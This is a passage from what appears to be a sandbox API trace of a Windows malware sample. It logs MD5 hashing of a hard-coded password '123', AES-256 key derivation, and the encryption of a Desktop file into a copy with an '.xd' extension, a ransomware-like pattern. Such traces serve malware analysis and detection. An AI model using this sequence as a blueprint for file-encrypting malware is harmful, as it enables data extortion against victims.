| out: lpMsg=0x130e5cc) returned 0 [0078.352] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.352] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.352] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.352] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.352] CryptCreateHash (in: hProv=0x16323a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629400, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.352] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629510, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.353] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.353] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.353] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.353] CryptHashData (hHash=0x164c8b0, pbData=0x1629490, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.353] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.353] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.353] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.353] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621690, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.354] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.354] CryptDeriveKey (in: hProv=0x16323a8, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0078.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.354] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.354] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.354] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.354] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0078.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.355] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\webr2t.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.355] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.355] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.355] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.356] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WeBr2t.swf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\webr2t.swf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.412] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.412] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x2cce, lpOverlapped=0x0) returned 1 [0078.413] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.414] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.414] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.414] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.414] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.415] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.415] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.415] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.415] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.415] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.415] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.415] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.416] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.416] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.417] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.417] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.417] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.417] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.417] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.418] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.418] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621900, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.418] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.418] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x2cce, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x2cd0) returned 1 [0078.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.418] CharLowerBuffW (in: lpsz="byte[11473]", cchLength=0xb | out: lpsz="byte[11473]") returned 0xb [0078.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.418] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.419] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.419] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.419] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.419] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x2cce, dwBufLen=0x2cd0 | out: pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x2cd0) returned 1 [0078.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.419] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.419] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.419] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.419] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.419] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.440] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 